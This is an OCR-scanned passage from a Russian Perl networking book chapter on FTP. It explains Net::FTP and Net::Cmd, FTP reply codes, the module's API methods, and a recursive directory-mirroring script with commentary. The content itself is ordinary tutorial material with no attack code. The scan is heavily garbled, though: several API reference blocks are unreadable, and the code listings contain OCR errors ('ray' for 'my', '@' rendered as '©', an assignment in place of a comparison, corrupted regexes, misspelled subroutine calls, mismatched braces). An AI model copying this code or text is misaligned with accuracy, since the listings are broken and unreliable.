применяется для подключения к узлу ftp.perl.org и загрузки файла RECENT из каталога
а
150
Часть II. Разработка клиентов для основных служб
/pub/CPAN/. После успешного выполнения программа создает файл RECENT в
текущем каталоге. Этот файл содержит имена всех файлов, которые поступили в архив
CPAN за последнее время.
ис нг 6.1. Загрузка одного файла с помощью модуля Ne t:: ftp
о
1
2
3
4
5
6
7
8
9
10
11
#!/usr/bin/perl -w
# Файл: ftp_recent.pl
use Net:: FTP;
use constant HOST => 'ftp.perl.org';
use constant DIR => '/pub/CPAN';
use constant FILE => 'RECENT';
my $ftp = Net::FTP->new(HOST)
or die "Couldn't connect: $@\n";
$ftp->login('anonymous') or die $ftp->message;
$ftp->cwd(DIR) or die $ftp->message;
$ftp->get(FILE) or die $ftp->message;
$ftp->quit;
warn "File retrieved successfully.\n";
Проведем анализ программы.
• Строки 1-6. Инициализация. Выполняется загрузка модуля Net:: ftp и определение
констант с указанием имени хоста, к которому должно быть выполнено подключение, и имени
загружаемого файла.
• Строка 6. Подключение к удаленному хосту. Выполняется подключение к хосту FTP путем
вызова метода Net: :FTP->new() с именем хоста, к которому должно быть выполнено
подключение. При успешном выполнении метод new() возвращает объект Net: :FTP,
подключенный к удаленному серверу. В ином случае он возвращает значение unclef, и вызывается
функция die с сообщением об ошибке. В случае неудачи метод new () оставляет
диагностическое сообщение об ошибке в переменной $@.
• Строка 7. Регистрация на сервере. После подключения к серверу нужно также на нем
зарегистрироваться, вызвав метод login о объекта Net: :FTP с именем пользователя и паролем. В данном
случае применяется анонимный доступ по FTP, поэтому указано имя пользователя "anonymous",
а модулю Net:: ftp предоставляется возможность указать приемлемый пароль, используемый по
умолчанию. При успешной регистрации метод login () возвращает истинное значение. В ином
случае он возвращает ложное значение, и тогда вызывается функция die с использованием метода
message () объекта FTP для выборки текста последнего сообщения сервера.
• Строка 8. Переход в удаленный каталог. Вызывается метод cwd () (сокращение от "change
working directory") объекта FTP для перехода в требуемый каталог. Если этот вызов окончится
неудачей, снова вызывается функция die с последним сообщением сервера.
• Строка 9. Выборка файла. Вызывается метод get () объекта FTP для выборки требуемого
файла. В случае успешного выполнения модуль Net:: ftp создает копию файла,
находящегося на удаленном узле, и помещает ее под тем же именем в текущий каталог на локальном
компьютере. В ином случае вызывается функция die с сообщением об ошибке.
• Строки 10,11. Выход. Вызывается метод quit () объекта FTP для закрытия соединения.
FTP и другие протоколы, предназначенные для
выполнения команд
Протокол FTP может служить примером реализации общего принципа
организации служб Internet — применение протоколов, предназначенных для выполнения ко-
Глава 6. FTP и Telnet
151
манд. Взаимодействие между клиентом и сервером сводится к четко определенному
протоколу, согласно которому клиент выдает однострочную команду, а сервер
возвращает ответ в виде одной или нескольких строк.
Каждая клиентская команда состоит из короткого слова, не зависящего от
регистра, за которым могут следовать один или несколько параметров. Команда
завершается парой символов CRLF. Как было показано в главе 5, при использовании сценария
gab 2 . pi для взаимодействия с FTP-сервером клиентские команды, соответствующие
протоколу FTP, включают команды USER и PASS, которые могут вместе применяться
для регистрации на сервере, команду HELP, которая служит для получения
информации о работе с сервером, и команду QUIT для прекращения сеанса работы с сервером.
Другие команды используются для отправки и выборки файлов, получения листингов
каталогов и т.д. Например, если клиент хочет зарегистрироваться под именем
пользователя "anonymous", он отправляет на сервер примерно такую команду:
USER anonymous
Каждый ответ сервера клиенту состоит из одной или нескольких строк,
оканчивающихся символами CRLF. Первая строка всегда начинается с трехсимвольного
числового результата, который указывает, к чему привело выполнение этой команды. За
ним обычно следует сообщение, предназначенное для восприятия человеком.
Например, успешное выполнение команды USER приводит к получению от сервера
следующего ответа.
331 Guest login ok, send your complete e-mail address as
password.
Иногда ответ сервера растягивается на несколько строк. В этом случае в первой
строке числовой код результата оканчивается символом дефиса ("-"), а затем он
повторяется (без дефиса) в последней строке. Этот случай может быть показан на
примере ответа FTP-сервера на команду HELP.
HELP
214-The following commands are recognized (* =>"s
unimplemented).
USER
■PASS
ACCT*
SMNT*
REIN*
QUIT
PORT
PASV
TYPE
STRU
MODE
RETR
STOR
APPE
MLFL*
MAIL*
MSND*
MSOM*
MSAM*
MRSQ*
MRCP*
ALLO
REST
RNFR
RNTO
ABOR
DELE
CWD
XCWD
LIST
NLST
SITE
SYST
STAT
HELP
NOOP
MKD
XMKD
RMD
XRMD
PWD
XPWD
CDUP
XCUP
STOU
SIZE
MDTM
214 Direct comments to ftp-bugs@wuarchive.wustl.edu
Обычно клиенту и серверу приходится обмениваться большими объемами данных
в формате, отличном от формата команд. Для этого клиент посылает команду, чтобы
предупредить сервер о поступлении данных, отправляет данные, а затем завершает
передачу информации, отправив единственную точку (".") на отдельной строке.
Пример применения такой операции будет описан в следующей главе, где
рассматривается взаимодействие между клиентом электронной почты и сервером SMTP.
Коды результата, возвращаемые сервером, в разных программах могут быть
различными, но обычно они следуют простому соглашению. Коды результатов от 100 до
199 используются для информационных сообщений, а коды от 200 до 299 указывают
на успешное выполнение команды. Коды от 300 до 399 служат в качестве указания на
то, что клиент должен предоставить дополнительную информацию, такую как
пароль, который должен следовать за именем пользователя. Коды результатов от 400
и выше указывают на различные ошибки: коды от 400 до 499 используются для обо-
152
Часть П. Разработка клиентов для основных служб
значения ошибок клиента, таких как неправильная команда, а коды от 500 и выше —
для обозначения ошибок со стороны сервера, таких как нехватка памяти.
Поскольку серверы, которые действуют по принципу выполнения команд, нашли
такое широкое распространение, в пакет libnet включен универсальный базовый
модуль Net: : Cmd. Этот модуль фактически не применяется отдельно, но дополняет
функциональные возможности потомков модуля IO: :Socket, позволяя им легко
взаимодействовать с сетевыми серверами указанного типа. От Net: : Cmd происходят
такие модули, как Net: : FTP, Net:: SMTP, Net: : NNTP и Net: : POP3.
Объекты модуля Net:: Cmd обладают двумя основными методами — command ()
и response().
s Ssuccess = 5obj->command($command[,gargs]) ., Л
Отправляет на сервер команду, указанную параметром ^command, за>которой может следовать |
один или несколько параметров. Метод commando автоматически вставляет пробелы между пара- \
метрами: и добавляет символы crlf к Концу команды. Если.команда доставлена успешно, метод !
возвращает истинное значение.. М '-1 J
j, $ status ■» $obj->re«ponse 1
| Выбирает и интерпретирует ответ сервера на последнюю команду, возвращая наиболее значимую I
цифру в качестве результата вызова методв. Например, если код результата сервера равен 331, метод
response ) возвращает 3. В случае неудачного завершения возвращается значение undef * =з
В подклассах модуля Net: : Cmd на основе методов command () и response ()
строятся более сложные методы. Например, в методе login () модуля Net: : FTP метод
commandO вызывается дважды: для выдачи команды USER, а затем— команды PASS.
Обычно в программе не следует вызывать методы command () и response ()
самостоятельно; вместо этого лучше использовать более специализированные (и удобные)
методы, предоставляемые подклассом. Однако для получения доступа к
функциональным средствам, которые не предоставляются модулем верхнего уровня, можно
также воспользоваться методами command () и response ().
В приложениях, предназначенных для конечного пользователя, часто
используются другие методы, предоставляемые модулем Net: : Cmd. К ним относятся code (),
message() и ok().
$code = $obj->code v. * ■- -
Возвращает трехеимвольный числовой код результата из последнего ответа.
Smessage = $obj->message
Возвращает текст последнего сообщения сервера. Это,особенно удобно для
диагностирования ошибок.
$ok i= $objr->ok ;
. Метод «к () возвращает истинное значение, если последний ответ сервера указывает на
успешное выполнение; вином случае — ложное значение. Истинное значение возвращается если код pe-^J
зультата больше 0 и меньше 400. ,-..,. _• -, ' _ - I _ <|
API-интерфейс модуля Net::FTP
Теперь рассмотрим API-интерфейс модуля Net:: FTP более подробно. Модуль
Net: :FTP является потомком и модуля IO::Socket, и модуля Net: :Cmd. Поскольку
этот модуль происходит от модуля IO: : Socket, его объекты могут применяться как
дескрипторы файлов для непосредственного взаимодействия с сервером. Например,
Глава 6. FTP и Telnet
153
в объекте Net: : FTP можно выполнять чтение и запись с помощью функций
syswrite () и sysread (), хотя это вряд ли следует делать. С другой стороны,
поскольку модуль Net: : FTP происходит от модуля Net: : Cmd, он поддерживает методы
code (), message () и ok (), описанные в предыдущем разделе. Коды состояния
протокола FTP перечислены в документе RFC 959 (см. Приложение Г, "Библиография").
К числу универсальных методов, унаследованных от его предков, в модуле
Net: : FTP добавлено большое число специализированных методов, которые
поддерживают специальные средства протокола FTP. Ниже перечислены только наиболее
широко применяемые из них. Полное описание API-интерфейса приведено в
документации Net: : FTP.
:*-- $£tp =,lteti:.iFTP->new(Shost[,%options]) " *" : '" v:> -. I :~
Для создания объекта Net:: FTP применяется метод new (). Обязательным первым параметром
является доменное имя FTP-сервера, с которым должна быть установлена связь. Дополнительные
необязательные параметры представляют собой набор пар "ключ/Значение", которые устанавлива- -
?ют опции !сеанса,*ак показано в табл. 6.1. Например, для подключения к узлу ftp .peri.;,£>rg с раз-'
решенными знаками Диеза и тайм-аутом в 30 секунд; можно использовать .следующий оператор. J
^-Sftp..-.Ке^^ЗРГР-^'^.рег^.ргд', Tiijieput=>30. Has}-=>1); . f'.vyj, _ ' -,<:- j\ -^
Таблица 6.1. Опции метода Net:: FTP->new ()
Опция Описание
Firewall Имя proxy-сервера FTP, которое должно быть указано, если компьютер
подключен к локальной сети, защищенной брандмауэром определенного типа
BlockSize Размер блока, применяемого при передаче (значение по умолчанию — 1024)
Port FTP-порт, к которому должно быть выполнено подключение (значение по /
умолчанию — 21)
Timeout Значение тайм-аута для различных операций в секундах (значение по
умолчанию —120 с)
Debug Уровень отладки; для получения подробных отладочных сообщений должен
быть больше нуля
Passive Использовать пассивный режим FTP во всех операциях передачи файлов;
опция требуется для работы с некоторыми брандмауэрами
Hash Выводить знак диеза "#" на устройство STDERR после передачи каждых 1024
байт данных
$succees = $ftp->login{[$username[,5passwordt,$account]]]) '
Метод login () предпринимает попытку регистрации на сервере с использованием предоставлен-:
ной информации для проверки подлинности пользователя. Если имя пользователя не укпзанг
«.модуле Net? sFtp принимается предположение, что имя пользователя— "anonymous". Если не укз-
звно ни имя пользователя, ни пароль, модуль^е£:,:.гтр выполняет поиск информации аутентификации
в файле .netrc пользователя. Если и после этого необходимая Информация' не Судет найдена,,
модуль выработает пароль в форме?$иБеге", где переменная $и8ег'уюзыпает.регистрациснное имя.
Необязательный «параметр $ account' используется на ие^ЪрыхЛТу-согеег^х которые трёбу-
к% дополнительного пароля для прсиьрки подлинности при получении доступа к файловой системе
после регист] гции на самом (хрворо. М^тод io^in (J ьозвращает, истиннее значение, если
регистрация была успешней, ае ином случае—ложное.
Дополнительная информация о файле, .h'efcrc представлена в справочном руководстве модуля
Set:: Net re.
154
Часть П. Разработка клиентов для основных служб
вtype • $ftp->aecii
Перепс-дит объект РТР в -режим ASCII, Во время передачи файла сервер автоматически
пополняет преобразование сммволср обозначения конца строки (оканчивает строки символами crlf для
компьютеров WindrwsitF-^ для комгц.кггсрэв^К1Х и cr—для Macintosh) Это преобразование
применяется flp* передаче текстовых файлов Данные-метод воэъращвет предыдущее значение
типа передами, например "binary". Обратите внимание, что режим ASCII применяется по умолчанию.
Stype -, $f tp->b±nary
Пере.годит объект FTP в дэоичный режим. Сервер не будет выполнять преобразование. Этот
режим может гк5именяться(;ля передачи двоичных файлов-, твких как изображения.
$ success' - Sftp-'>ieiete($fileS
Удаляет файл $х11« на сервере при условии, чте пользователь имеет на это достаточные
привилегии.
9 success - $ftp->cwd(t$directoryjf)
Предпринимает попытку перейти из текущего рабочего каталога на удаленном компьютере в
указанный каталог, ^сли каталгг не указан, предпринимает попытку перейти в корневой каталог*/'.
Могут применяться сокращенные обозначения каталога, и для перехода вверх -на один уровень можно
указать путь к каталогу *..".
$ directory « $ftp->pwd
у '' Возвращает полное имя пути к текущему ро5очему каталогу *а удэленном>компыотере.
:$ success-; <« $ftp^>fani*ix (Jdirectory)
Удаляет указанный каталог при услогии, что пользователь имеет на это достаточные привилегии.
. _ Souccess = $ftp->mkdir($directptyt',Sparontil)
'•й -Создает новый каталог с указанным путем к каталогу при условии, что пользователь имеет на
это достаточные привилегии. Если параметр-Sparents имеет истинное.'з«8чение. модуль Ket: :FTl
предпринимает попытку создать также tee недостающие промежуточные' каталоги.
r u~ eitams '»; $£tp->ls ([(directory])
Пээес яет получить листинге коротком формате всех файлов и подкаталогов указанного
каталога или, если каталог не указвн, текущего рабочего каталога. В скалярном контексте метод is ()
возвращает ссылку на список, а не/сам список.
По умолчанию каждый элемент возвращенного списка состоит только из имени файла или;ката-
лога>'Однако^лосколы(удемЬн ПП?^ростс; передает па?вметркомэн,^Дз, в вызове данного метода
вполне можн'о передать'команде 1ч параметры командной строки: 'Например', следующий еызэв
I возвращает листинг в длинном 4>ормате
«Items - Sftp~>l*('-1FVJ;
eitems • $ftj>->(lir(iedir«ctoryI)
Позволяет получить листинг в длинном формтге рсох файлов и подкаталогов указанного
каталога или. с.сли каталог не указан, текущего рабочего каталога. В скалярном контексте метод diro
возвращает ссылку на список, я не сам список.
[ рВ отличие от 1в<). каждый элемент возвращенного списка представляет собой строку листинга
' каталога, в которой указан режим доступа л флйлу. владелец и размер. Листинг имеет такой же
формат, к*к при еыэиве команды is с опциями -l<j.
$auccess - Sftr>->get,j($pa(.o€e[>$lccail,eof£eet]))
Метод get ()лозволяет получить файл.. $ remote с ГГР-сереера. Может бьгть указано полное или
сокрященноё им^ пути От ссителычо текущегоj-.абочегс каталога
Параметр Slocal указывает имя путинна локальном «емпыстере для размещения в нем полу-
. ченного файла. Если путь не указан, модуль Net: iFTP создает в текущем каталоге файл с тем же
именем, что и у файла на удапенн )м компьютере, П виде параметра $1ослГ может быть также пе-
' редан дескриптор файла, и в этем случае содержимое полученного файла будет записано в
указанный дескриптор. Э+л может применят* ся/Яля отправки файлпе s устройство STJCCT
Sftp^gctrkECENT^VSTDOCT:;
Глава 6. FTP и Telnet
155
I Параметр $off set может применяты^ для перезапуска прерванной передачи/О
! циюв файле, на которую РТР^ервер должен переместить указатель перед возобновлением п^ '
• Нцжс псказана общая схема применения этегь ларлмстра для перезапуска прерванной передачи.
ray «offset -, (>t^t(ifiic) )ПГ IT"0?*
Sftp->get($£ile,Sfile,Soffset);
Вызо функции stat () позволяет определить текущий размер файла на локальном компьютере;
если файй .ниасущестеувт, n;ip??MfeTp/$of f set'пгинйм.,>ёт значойцв Г. Зэтем зтотпарамет^ прим1?няг~*
-ется в качестве смещении в вызове метод? get.();
$fh = $£tp->retr($£ilename)
Как и get (), метод retto может иейользо'ватьсягдля получения файлас\удаПенн6го компью-
j тера. Однако вместо записи файла в десфиптрр файла или :в файл на диске, он возвращает
дескриптор файла, который может применяться для непосредственной выборки файла. Например, ниже
'' показано, как прочесть файл remote, находяи^йс# HaTFTP^peep^.v6e3создания временного
файла на локальном компьютере.
$fh ■= $ftp->retr(.'REMOTE') or die "can't get file ",
$.ftp->message,-
! /print while <$fh>7
$success = $ftp->put($iocal[,$remote])
Метод put () позволяет передать файл с локального хоста на удаленный. Правила, именования
файлов $icte'ai ^.$ remote: аналогичны таковым для метода get(), включая возможность |кпользр-:
: вания деЬфйптора файла в качестве параметра $ipcaE
$fh » Sftp-^tor <$fiieriame)
^fn5^ $ttp->appe ($f ilename)
"T"" " '"'..'..■!■.' - , ~ */' -"-•• *
Эти два метода позволяют инициализировать выгрузку файла. Файл будет записан на сервере
: под именем)^, filename. Если сервер разрешит передачу, метод возвратит дескрипторфайла, /кото^
рый может применяться для передачи содержимого файла. Эти методы отличаются тем, что/они-
; действуют по-разному, если на сервере имеется файл с указанным именем. MeTOAstor () переза-/
писывает существующий файл, а метод арре() дс^авляет к нему данные-/ * ^
$«odtime"= ^£tp¥>tfdtm4$fiie)
j Метод mdtm () возвращает время последнего изменения указанного файла, выраженное в се-1
j кундах с начала эпохи UNIX (с .применением такого же формата; как при использовании функции
• statu, в которой началом эпохи UNIX считается 1 января 19?0 года). Если файл не существует
j или не является обычным /файлом;.: зпрт/ метод"чрзйр/а^ет значение liridet Следует также учиты-^
i вать, что некоторые старые версииТТР^рверсв^например, серверы, разработанные компанией
; Sun) не <>($еспечивак т вьюрку Значения времени поолиднего изменения. 1*1ри обращении к фаилав
I наеэтих серверах функция md tm () возвращает значении undef.
; $Bize ■ $£tp^:«iire4$£ile)
Возвращает размер указлннггг файла в байтах. Если файл не существует или не является
' «Лычным, этот мьтт'Д: амкращаот эначен'иа.;;ипае^.С))1.дует тзкжь.учитьшать, что некоторые старые I
I ьерс"ии ПТ-серверль. котсрые не поддерживают команду size, возвращают значение undef.
' г- i - • i -|' i i' '- - *~'J" '" ■' ""ь "'- iir ' ' i ' ' ih ii r' i - i"i i r - rr-
Сценарий создания зеркального отображения
каталога
Модуль Net: : FTP позволяет разработать простой сценарий зеркального
отображения по FTP. Он рекурсивно сравнивает локальный каталог с удаленным и
копирует новые или обновленные файлы на локальный компьютер, сохраняя
структуру каталога. Программа устанавливает в локальной копии такие же права доступа
к файлу (но не права владения), а также предпринимает попытку сохранить
символические ссылки.
156
Часть П. Разработка клиентов для основных служб
Сценарий f tp_mirror. pi приведен в листинге 6.2. Для зеркального отображения
файла или каталога с удаленного сервера сценарий должен быть вызван с параметром
командной строки, состоящим из доменного имени удаленного сервера, двоеточия
и пути к файлу или каталогу, для которого должно быть выполнено зеркальное
отображение. В следующем примере выполняется зеркальное отображение файла
RECENT и копирование его в локальный каталог только при условии, что он
изменился со времени последнего зеркального отображения.
% ftp_mirror.pl ftp.perl.org:/pub/CPAN/RECENT
В следующем примере показано, как выполнить зеркальное отображение каталога
модулей CPAN, рекурсивно копируя структуру удаленного каталога в текущий
локальный рабочий каталог (это можно проверить на практике, имея быстрое сетевое
соединение и большой объем свободного дискового пространства).
% ftp_mirror.pi ftp.perl.org:/pub/CEAN/
Опции командной строки сценария включают —user и —pass, в которых можно
указать имя пользователя и пароль для приватных FTP-серверов; —verbose,
позволяющую получить подробный отчет о состоянии; и —hash, которая предусматривает
вывод знаков диеза во время передачи файла.
Листинг 6.2. Сценарий ftp_mirror.pl
0: #!/usr/bin/perl -w
1: # Файл: ftp_mirror.pl
2: use strict;
3: use Net::FTP;
4: use File::Path;
5: use Getopt::Long;
6: use constant USAGEMSG => «USAGE ;
7: Usage: ftp_mirror.pl [options] host:/path/to/directory
8: Options:
9: —user <user> Login name
10: —pass <pass> Password
11: —hash Progress reports
12: —verbose Verbose messages
13: USAGE
14: my ($USERNAME,$PASS,$VERBOSE,$HASH);
15: die USAGEMSG unless GetOptions('user=s' => \$USERNAME,
16: 'pass=s' => \$PASS,
17: 'hash' => \$HASH,
18: 'verbose' => \$VERBOSE);
19: die USAGEMSG unless
my ($HOST,$PATH) = $ARGV[0]=~/(.+): (. + )/;
20: my $ftp = Net::FTP->new($HOST)
or die "Can't connect: $@\n";
21: $ftp->login($USERNAME,$PASS)
or die "Can't login: ",$ftp->message;
22: $ftp->binary;
23: $ftp->hash(l) if $HASH;
24: do_mirror($PATH);
25: $ftp->quit;
26: exit 0;
27: # Процедура, с которой начинается зеркальное отображение
28: sub do_mirror {
29: my $path = shift;
Глава 6. FTP и Telnet
157
30: return unless my $type = find_type($path);
31: my ($prefix,$leaf) = $path=~m!A(-*?)( [ЛЛ+}/?$!;
32: $ftp->cwd($prefix) if $prefix;
33: return get_file($leaf) if $type eq '-'; # Файл
34: return get_dir($leaf) if $type eq 'd'; # Каталог
35: warn "Don't know what to do with a file of type $type.
Skipping.";
36: }
37: # Зеркальное отображение файла
38: sub get_file {
39: my ($path,$mode) = @_;
40: my $rtime = $ftp->mdtm($path);
41: my $rsize = $ftp->size($path);
42: $mode = (parse_listing($ftp->dir($path)))[2]
unless defined $mode;
43: my ($lsize,$ltime) =stat($path) ? (stat (_))[7,9] : (0,0);
44: if (defined($rtime) and defined($rsize)
45: and ($ltime >= $rtime)
46: and ($lsize = $rsize) ) {
47: warn "Getting file $path: not newer than local copy.\n"
if $VERBOSE;
48: return;
49: }
50: warn "Getting file $path\n" if $VERBOSE;
51: $ftp->get($path) or (warn $ftp->message,"\n" and return);
52: chmod $mode,$path if $mode;
53: }
54: # Зеркальное отображение каталога, рекурсивная процедура
55: sub get_dir {
56: my ($path,$mode) = @_;
57: my $localpath = $path;
58: -d $localpath or mkpath $localpath
or die "mkpath failed: $!";
59: chdir $localpath
or die "can't chdir to $localpath: $!";
60: chmod $mode,'.' if $mode;
61: ray $cwd = $ftp->pwd
or die "can't pwd: ",$ftp->message;
62: $ftp->cwd($path)
or die "can't cwd: ", $ftp->message;
63: warn "Getting directory $path/\n" if $VERBOSE;
64: foreach ($ftp->dir) {
65: next unless my ($type,$name,$mode) = parse_listing($_);
66: next if $name =~ /*(\. \.\-)$/; # Пропустить . и ..
67: getdir ($name,$mode) if $type eq 'd';
68: get_file($name,$mode) if $type eq
69: make_link($name) if $type eq
70: }
71: $ftp->cwd($cwd) or die "can't cwd: ",$ftp->message;
72: chdir '..';
73: }
74: # Определение того, ведет ли путь к файлу или каталогу
75: sub find_type {
76: my $path = shift;
77: my $pwd = $ftp->pwd;
78: my $type = '-'; # Предположим, что зто - файл
79: if ($ftp->cwd($path)) {
80: $ftp->cwd($pwd);
81: $type = 'd'
!■ -
158
Часть II. Разработка клиентов для основных служб
)
return $type;
)
# Попытка зеркального отображения ссылки. Допускаются
# только ссылки на файлы с сокращенным именем.
sub make_link {
my $entry = shift;
my ($link, $target) = split /\s+->\s+/,$entry;
return if $target =~ m!V!;
warn "Symlinking $link -> $target\n" if $VERBOSE;
return symlink $target,$link;
}
# Интерпретация листингов каталогов
# -rw-r—г— 1 root root 312 Aug 1 1994 welcome.msg
sub parse_listing {
my $listing = shift;
return unless my ($type,$mode,$name) =
$listing =~/~([a-z-]) ([а-г-]{9П # -rw-r—r—
\s+\d* # 1
(?:\s+\w+)(2) # root root
\s+\d+ # 312
\s+\w+\s+\d+\s+[\d:]+ # Aug 1 1994
\s+(.+) # welcome.msg
$/x;
return ($type,$name,filemode($mode));
)
# Преобразование символического обозначения режима
# доступа в восьмеричное
sub filemode {
my $symbolic = shift;
my (©modes) = $symbolic=~/(...)(...)(...)$/g;
my $result;
my $multiplier = 1;
while (my $mode = pop ©modes) {
my $m = 0;
$m += 1 if $mode =~ /[xsS]/;
$m += 2 if $mode =~ /w/;
$m += 4 if $mode =~ /r/;
$result += $m * $multiplier if $m
$multiplier *= 8;
)
$result;
)
Проведем анализ программы.
Строки 1-6. Загрузка модулей. Выполняется загрузка модуля Net:: ftp, а также модулей
File: : Path И Getopt: : Long. Модуль File: : Path предоставляет процедуру mkpath () ДЛЯ
создания подкаталога со всеми промежуточными каталогами, а модуль Getopt::Long —
функции для обработки параметров командной строки.
Строки 6-19. Обработка параметров командной строки. Обрабатываются параметры
командной строки и используются для установки различных глобальных переменных. Имя хоста
FTP и имя каталога или файла, для которого должна быть создана зеркальная копия,
записываются соответственно в переменных $host и Spath.
Строки 20-23. Инициализация соединения FTP. Вызывается метод Net: :FTP->new() для
подключения к требуемому хосту и метод login () для регистрации на нем. Если параметры
Глава 6. FTP и Telnet
159
командной строки не включают имя пользователя и пароль, предпринимается попытка
выполнить анонимную регистрацию. В ином случае для регистрации применяется указанная
информация аутентификации.
После успешной регистрации режим передачи файлов устанавливается в значение binary,
что необходимо для получения точного зеркального отображения удаленного узла, и
определяется режим отображения символов диеза, если он был затребован.
• Строки 24-26. Инициализация зеркального отображения. Если вся подготовка прошла
успешно, начинается процесс зеркального отображения путем вызова внутренней подпрограммы
cio_mirror () с указанным именем пути. После завершения работы подпрограммы
do_mirror () корректно закрывается соединение путем вызова метода quit () объекта FTP,
и выполнение программы прекращается,
• Строки 27-36. Подпрограмма do_mirror(). Данная подпрограмма является основной
процедурой зеркального отображения файла или каталога. Сразу после ее вызова неизвестно,
указывает ли путь доступа, затребованный пользователем, на файл или каталог, поэтому
вначале происходит вызов вспомогательной подпрограммы для получения этих данных Получив
в качестве параметра путь доступа на FTP-сервере, подпрограмма f ind_type () возвращает
односимвольный код, обозначающий тип объекта, на который указывает путь доступа:"--",
если это — обычный файл, или "d", если это — каталог. После определения типа объекта весь
путь доступа разбивается на первый компонент с обозначением каталога (префикс) и
последний компонент (такой компонент называется "лист-объектом" и может представлять файл или
каталог). Вызывается метод cwd () объекта FTP для перехода в родительский каталог файла
или каталога, для которого должно быть выполнено зеркальное отображение. Если
подпрограмма f indtype () сообщила, что путь доступа указывает на файл, вызывается
подпрограмма get_f ile () для зеркального отображения файла. В ином случае вызывается
подпрограмма get_dir().
• Строки 37-53. Подпрограмма get_f ile (). Эта подпрограмма выполняет выборку файла в том
случае, если он является более новым по сравнению с локальной копией или если локальная
копия отсутствует. После получения файла предпринимается попытка изменить его режим доступа
в соответствии с режимом доступа на удаленном узле. Режим доступа может быть указан
вызывающей процедурой; в ином случае определение режима доступа выполняется в самой
подпрограмме. Вначале происходит определение значений времени последнего изменения и размера
файла на удаленном компьютере с помощью методов mdtm о и size () объекта FTP. Помните,
что эти методы могут возвращать значение uncle f при обращении к более старым серверам,
которые не поддерживают эти вызовы. Если вызывающей процедурой не был указан режим
доступа, вызывается метод ciir () объекта FTP для получения листинга каталога для затребованного
файла и полученный результат передается в подпрограмму parse_iisting (), которая
разбивает строку листинга каталога на трехэлементный список, состоящий из обозначений типа файла,
имени и режима. Затем выполняется поиск файла на локальном компьютере по тому же
сокращенному пути доступа и осуществляется вызов функции stat () для получения информации
о размере и времени последнего изменения локального файла. После этого выполняется срав-
4 нение размера и времени последнего изменения файла на удаленном компьютере с
соответствующими параметрами локальной копии. Если эти файлы имеют одинаковый размер и файл на
удаленном компьютере имеет такую же (или более раннюю) отметку времени, как и файл на
локальном компьютере, то обновлять локальную копию нет необходимости. В ином случае
вызывается метод get () объекта FTP для получения файла с удаленного компьютера. После успешного
выполнения передачи файла режим доступа к файлу изменяется в соответствии со значением
режима доступа к копии файла на удаленном компьютере.
• Строки 54-73. Подпрограмма рекурсивного зеркального отображения каталога
get_dir (). Данная подпрограмма является более сложной по сравнению с get_f ile (),
поскольку она должна вызывать саму себя рекурсивно для получения копий каталогов,
вложенных один в другой. Как и get_fiie(), эта подпрограмма вызывается с обязательным
параметром, который указывает путь к каталогу, и необязательным параметром, указывающим
режим доступа к каталогу.
Выполнение подпрограммы начинается с создания локальной копии каталога в текущем
рабочем каталоге, если она еще не создана; для создания промежуточных каталогов при
необходимости применяется процедура mkpath (). Затем происходит переход во вновь созданный
каталог с помощью встроенной функции chdir () языка Perl и осуществляется изменение
режима доступа к каталогу, если это было затребовано.
160
Часть П. Разработка клиентов для основных служб
Выполняется выборка значения имени текущего рабочего каталога на удаленном компьютере
путем вызова метода pwd () объекта FTP. Это значение пути доступа сохраняется в локальной
переменной для последующего применения. После этого происходит переход с помощью
функции cwd () в каталог удаленного компьютера, для которого должна быть получена
зеркальная копия.
Теперь должно быть выполнено копирование содержимого каталога, предназначенного для
зеркального отображения, на локальный компьютер. Вызывается метод dir () объекта FTP
для получения полного листинга каталога. С помощью подпрограммы parse_listing ()
выполняется интерпретация каждой строки листинга с получением значений типа, имени и
режима доступа к файлу. Имена обычных файлоа передаются подпрограмме getf ile (), имена
символических ссылок— подпрограмме make_iink(), а имена подкаталогов рекурсивно
передаются подпрограмме get_dir ().
После обработки каждого элемента листинга каталога выполняется возврат в исходное
состояние. Выполняется вызов метода cwd () объекта FTP для перехода в каталог, путь к
которому был ранее записан в локальной переменной, а затем осуществляется вызоа функции
chdir ('..') для перехода вверх на один уровень в структуре локальных каталогов.
• Строки 74-84. Подпрограмма £ind_type О. Эта подпрограмма не совсем подходит для
определения типа файла или каталога по его пути доступа. В этом случве лучше использовать
метод dir () объекта FTP, как в подпрограмме get_dir (). Однако данная подпрограмма
является не совсем надежной а связи с небольшими отличиями в работе команды получения
листинга каталога на разных серверах при передаче ей пути к файлу, а не к каталогу.
Вместо этого выполняется проверка того, обозначает ли этот путь доступа на удаленном
компьютере путь к каталогу, в форме попытки перейти в него с использованием метода cwd ().
Если вызов метода cwd () завершается неудачей, предполагается, что это — путь доступа
к файлу, в ином случае — путь доступа к каталогу. Обратите внимание, что, согласно этому
критерию, символическая ссылка на файл рассматривается как файл, а символическая ссылка
на каталог — как каталог. Такое поведение подпрограммы вполне приемлемо.
• Строки 85-92. Подпрограмма make_iink(). Данная подпрограмма предпринимает попытку
создать на локальном компьютере символическую ссылку, которая является зеркальным
отображением ссылки на удаленном компьютере. Она действует на основе предположения, что
элемент в строке листинга каталога на удаленном компьютере обозначает источник и цель
символической ссылки, как показано ниже.
README.html -> index.html
Этот элемент разбивается на два компонента, которые передаются встроенной функции
symiink (). Создаются только символические ссылки, которые указывают на цели с
относительным именем пути, и не предпринимаются попытки создать символические ссылки на цели
с полным обозначением пути доступа (такие, как "/cpan"). поскольку они могут оказаться
недействительными на локальном компьютере. Кроме того, ссылки с полным обозначением пути
доступа могут противоречить требованиям защиты.
• Строки 93-106. Подпрограмма parse_li.sti.ng (). Эта подпрограмма вызывается
подпрограммой get dir () для обработки одной строки листинга каталога, полученного с помощью метода
Net: :FTP->dir(). Подпрограмма parse_listing() необходима, поскольку серверы с
наиболее примитивной реализацией протокола FTP не предоставляют иного способа определения
типа или режима доступа к элементу листинга каталога. Она интерпретирует строку листинга
каталога с использованием регулярного выражения, которое учитывает все распространенные
разновидности форматов листинга каталога. Код типа файла определяется на основе первого символа
поля режима (например, символа "d" в поле drwxr-xr-x), а его режим — из остальной части
этого поля. Именем файла считается все, что следует за полем даты.
Значения типа, имени и режима возвращаются вызывающей процедуре после преобразования
символьного обозначения режима доступа к файлу в его числовую форму.
• Строки 107-122. Подпрограмма f ilemode о. Эта подпрограмма выполняет преобразование
символьного обозначения режима доступа к файлу в его числовой эквивалент. Например,
символьное обозначение режима rw-r—г— преобразуется в восьмеричное значение 0644.
Биты setuid или setgid рассматриваются так, как если бы они обозначали право на
выполнение. Попытке создания локального файла с установленными битами setuid или setgid
может явиться нарушением требований защиты.
Глава 6. FTP и Telnet
161
При выполнении сценария зеркального отображения в режиме подробных
